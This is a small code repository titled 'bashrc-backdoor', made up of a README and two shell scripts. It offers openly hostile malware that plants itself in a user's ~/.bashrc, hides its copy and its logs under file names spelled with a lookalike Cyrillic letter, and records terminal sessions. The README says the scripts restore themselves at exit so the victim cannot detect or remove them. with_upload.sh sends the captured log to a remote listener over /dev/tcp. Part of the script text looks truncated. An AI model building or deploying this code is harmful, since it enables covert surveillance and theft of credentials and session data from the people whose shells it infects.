├── README.md ├── install.sh └── with_upload.sh /README.md: -------------------------------------------------------------------------------- 1 | # bashrc-backdoor 2 | 3 | A simple backdoor for bashrc 4 | 5 | ## file description 6 | 7 | * [install.sh](install.sh) - basic version: just log to file 8 | * [with_upload.sh](with_upload.sh) - basic version but will upload to specified remote machine, if failed to connecting, cancel all changes to the system 9 | 10 | ## Features 11 | 12 | 1. No external dependencies, just bash, script, cat, touch, stat command 13 | 2. Basic self protection: clean up .bashrc file when session started, restore before bash exit, so the target will not be able to remove the virus from bashrc easily (or even detect it) 14 | 3. No privilege required, no root, no PAM module 15 | 16 | ## License 17 | 18 | WTFPL 19 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # CUSTIMIZE BEFORE UPLOAD 3 | 4 | fakerc=~/.bаsh_login 5 | logfile=~/.bаsh_cache 6 | waitsec=1 7 | changetime=$(stat -c %Y ~/.bashrc) 8 | 9 | read script <"$fakerc" <> ~/.bashrc && echo \$self > '$fakerc'" EXIT 37 | unset self 38 | . ~/.bashrc 39 | EOF 40 | echo $script >> ~/.bashrc 41 | -------------------------------------------------------------------------------- /with_upload.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # CUSTIMIZE BEFORE UPLOAD 3 | 4 | fakerc=~/.bаsh_login 5 | logfile=~/.bаsh_cache 6 | remote=/dev/tcp/127.0.0.1/1234 7 | waitsec=1 8 | changetime=$(stat -c %Y ~/.bashrc) 9 | 10 | read script <"$fakerc" </dev/null cat '$logfile' > '$remote' && echo $quoted >> ~/.bashrc && echo \$self > '$fakerc'; rm -f '$logfile'" EXIT 38 | unset self 39 | . ~/.bashrc 40 | EOF 41 | echo $script >> ~/.bashrc 42 | --------------------------------------------------------------------------------